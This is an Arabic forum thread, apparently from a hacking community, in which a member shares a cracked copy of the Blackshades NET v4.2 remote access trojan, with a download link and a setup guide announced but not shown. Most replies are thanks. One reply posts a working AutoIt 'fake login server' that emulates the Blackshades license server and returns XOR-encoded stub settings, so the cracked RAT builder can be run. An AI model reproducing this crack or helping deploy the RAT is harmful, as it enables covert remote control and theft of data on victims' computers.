لعيونكم Blackshades NET v4.2 بالكراك

تم تحميل الصفحة في 0,6411864 ثانية
لعيونكم Blackshades NET v4.2 بالكراك
الحالة
مغلق و غير مفتوح للمزيد من الردود.

ناويك

Active DeveloPer
rankrankrank
إنضم
26 أغسطس 2010
المشاركات
901
الإعجابات
93
النقاط
0



كيفكم يا أحلى أعضاء اليوم جايب لكم برنامج ماراح اقول ولى عهد البيفروست و والعجوز وو​



ومن هالكلام . بس مايمنع لا صار تستخدمه بجانب البيفروست ماراح اقول لكم مواصفاته​



لأنها يبيلها موضوع ثاني لحاله فكتشفوها بنفسكم .​



عموما انا جبت لكم اليوم برنامج Blackshades NET v4.2.rar بالكراك​



صوره له





لتحميل البرنامج​








وهنا شرح لتشغيل البرنامج لأول مره بالكراك

الشرح



لمستخدمي ويندوز سفن​







الاهداءات


الى العزيز >>> العكيد


والى جميع الأعضاء​



بالتوفيق​



 

zFahad

DeveloPer Plus
rankrankrankrank
إنضم
9 مارس 2011
المشاركات
1,337
الإعجابات
229
النقاط
0
رد: لعيونكم Blackshades NET v4.2 بالكراك

عطاك ربي العأآفيه
 
إنضم
5 نوفمبر 2009
المشاركات
1,797
الإعجابات
157
النقاط
0
رد: لعيونكم Blackshades NET v4.2 بالكراك

اخوي الروابط لاتعمل معي
ارجو التاكد منهاا
:9:
 

Ghost87

Active DeveloPer
rankrankrank
إنضم
9 سبتمبر 2010
المشاركات
561
الإعجابات
92
النقاط
28
الإقامة
.::. TuniSa.::.
رد: لعيونكم Blackshades NET v4.2 بالكراك

بارك الله فيك يابطل .
ماقصرت : +++++
:32::32::32::32::32::32::32::32::32::32:
 

Saw Dz

Beginner Developer
rankrankrankrankrank
إنضم
14 أغسطس 2010
المشاركات
2,389
الإعجابات
476
النقاط
0
رد: لعيونكم Blackshades NET v4.2 بالكراك

شششششششششششكرا للللللللللللك يا وحشششششششش :9:
 
إنضم
3 فبراير 2007
المشاركات
2,837
الإعجابات
932
النقاط
0
رد: لعيونكم Blackshades NET v4.2 بالكراك

مشكور يا غالى

سلمت يداك ...فعلا برنامج مميز :9:

كان ودى اقيمك ولكن ابو سمعات :30:
 

anas dahhaj

Beginner Developer
rank
إنضم
2 نوفمبر 2009
المشاركات
133
الإعجابات
1
النقاط
0
رد: لعيونكم Blackshades NET v4.2 بالكراك

مشكوووور وتستاهل احلى تقييم :8:
 
إنضم
29 مايو 2009
المشاركات
5,238
الإعجابات
531
النقاط
0
العمر
32
رد: لعيونكم Blackshades NET v4.2 بالكراك


" آلله يعطيك آلعـآفيه آخوْي }~ْ
بـآرك آلله فيك ششكل آلبرنـآمج ممتـآز }~ْ
تقبل مروري ~}ْ

:32::32:
 

مصعفق

Beginner Developer
rank
إنضم
20 أغسطس 2010
المشاركات
98
الإعجابات
4
النقاط
0
رد: لعيونكم Blackshades NET v4.2 بالكراك

ياريت تنزلنا text
الموجود ب autoit
وجاري تقييمك :32:
 

DR.ARL21

Beginner Developer
rank
إنضم
13 مارس 2011
المشاركات
10
الإعجابات
1
النقاط
0
رد: لعيونكم Blackshades NET v4.2 بالكراك

#include <GUIConstantsEx.au3>
#include <string.au3>
;==============================================
;==============================================
;SERVER!! Start Me First !!!!!!!!!!!!!!!
;==============================================
;==============================================

Example()

Func Example()
; Set Some reusable info
; Set your Public IP address (@IPAddress1) here.
; Local $szServerPC = @ComputerName
; Local $szIPADDRESS = TCPNameToIP($szServerPC)
Local $szIPADDRESS = "127.0.0.1"
Local $nPORT = 8171
Local $MainSocket, $GOOEY, $edit, $ConnectedSocket, $szIP_Accepted
Local $msg, $recv

; Start The TCP Services
;==============================================
TCPStartup()

; Create a Listening "SOCKET".
; Using your IP Address and Port 33891.
;==============================================
$MainSocket = TCPListen($szIPADDRESS, $nPORT)

; If the Socket creation fails, exit.
If $MainSocket = -1 Then Exit


; Create a GUI for messages
;==============================================
$GOOEY = GUICreate("BlackShades Fake Login Server (IP: " & $szIPADDRESS & ")", 300, 200)
$edit = GUICtrlCreateEdit("", 10, 10, 280, 180)
GUISetState()


; Initialize a variable to represent a connection
;==============================================
$ConnectedSocket = -1


;Wait for and Accept a connection
;==============================================
Do
$ConnectedSocket = TCPAccept($MainSocket)
Until $ConnectedSocket <> -1


; Get IP of client connecting
$szIP_Accepted = SocketToIP($ConnectedSocket)
GUICtrlSetData($edit, $szIP_Accepted & " > Connected" & @CRLF & GUICtrlRead($edit))
TCPSend($ConnectedSocket, StringToBinary( "getPCInfo 44 4.2 http://blackshades.info/4.2.rar SjosgAWL" ))
; GUI Message Loop
;==============================================
While 1
$msg = GUIGetMsg()

; GUI Closed
;--------------------
If $msg = $GUI_EVENT_CLOSE Then ExitLoop

; Try to receive (up to) 2048 bytes
;----------------------------------------------------------------
$recv = TCPRecv($ConnectedSocket, 2048)

; If the receive failed with @error then the socket has disconnected
;----------------------------------------------------------------
If @error Then ExitLoop

; Update the edit control with what we have received
;----------------------------------------------------------------
If $recv <> "" Then
GUICtrlSetData($edit, $szIP_Accepted & " > " & $recv & @CRLF & GUICtrlRead($edit))
ConsoleWrite($recv & @CRLF )
$cmdList = StringSplit($recv, " ")
ConsoleWrite($cmdList[1] & @CRLF )
Switch $cmdList[1]
Case "dataInfoReceived"
TCPSend($ConnectedSocket, StringToBinary( "userHasBeenAccepted 13 0 N/A N/A N/A" ))
Case "STUB_GEN"
;TCPSend($ConnectedSocket, StringToBinary( $recv & " " ))
$profile = FileOpen(@WorkingDir & "\data\profiles\default.bss")
$settings = FileRead($profile)
FileClose($profile)
$sArray = StringSplit($settings, @CRLF)

$key = "7465737474657374746573747465737474657374746573747465737474657374"
$encstring = " " & $sArray[1] & " " & $sArray[3] & " " & $sArray[5] & " " & $sArray[7] & " " & $sArray[9] & " " & $sArray[13] & " " & $sArray[25] & " " & $sArray[27] & " " & $sArray[15] & " " & $sArray[17] & " " & $sArray[19] & " " & $sArray[21] & " " & $sArray[23] & " " & $sArray[29] & " " & $sArray[11]
$encstring = _StringToHex(RspecialXOR($encstring,"testtesttesttesttesttesttesttest"))
$rsrc = $key & _StringToHex($encstring)
;Keep the first string as that will be the decryption key and keep the key in decrypter.au3. Paste your generated settings string from decrypter.au3 into the second string.
TCPSend($ConnectedSocket, StringToBinary( $cmdList[1]&" "&StringLen($rsrc)&" "&$rsrc ))
EndSwitch
EndIf
WEnd

If $ConnectedSocket <> -1 Then TCPCloseSocket($ConnectedSocket)

TCPShutdown()
Exit
EndFunc ;==>Example

Func RspecialXOR($inputstr, $key)
$dec = ""
For $chr = 1 To StringLen($inputstr)
$dec &= Chr( BitXOR( Asc(StringMid($inputstr, $chr, 1)), Asc(StringMid($key, Mod($chr, StringLen($key)) + 1, 1)) ) )
Next
Return $dec
EndFunc

Func MakeHexStr($str)
$string = ""
For $chr = 1 To StringLen($str)
$string &= String( AscW( StringMid($str, $chr, 1) ) )
;var_A0 = var_A0 & Chr$(CLng(Val("&H" & Mid$(string, i, 2))))
Next
Return $string
EndFunc

; Function to return IP Address from a connected socket.
;----------------------------------------------------------------------
Func SocketToIP($SHOCKET)
Local $sockaddr, $aRet

$sockaddr = DllStructCreate("short;ushort;uint;char[8]")

$aRet = DllCall("Ws2_32.dll", "int", "getpeername", "int", $SHOCKET, _
"ptr", DllStructGetPtr($sockaddr), "int*", DllStructGetSize($sockaddr))
If Not @error And $aRet[0] = 0 Then
$aRet = DllCall("Ws2_32.dll", "str", "inet_ntoa", "int", DllStructGetData($sockaddr, 3))
If Not @error Then $aRet = $aRet[0]
Else
$aRet = 0
EndIf

$sockaddr = 0

Return $aRet
EndFunc ;==>SocketToIP
 
الحالة
مغلق و غير مفتوح للمزيد من الردود.

الأعضاء النشطين حاليآ الذين يشاهدون هذا الموضوع (1 عضو و 0 ضيف)

خيارات الاستايل

نوع الخط
مودك
اخفاء السايدر بار OFF
توسيط المنتدى OFF
فصل الأقسام OFF
الأقسام الفرعية OFF
عرض المشاركات
حجم الخط
معلومات العضو OFF
إخفاء التوقيع OFF

إرجاع خيارات الإستايل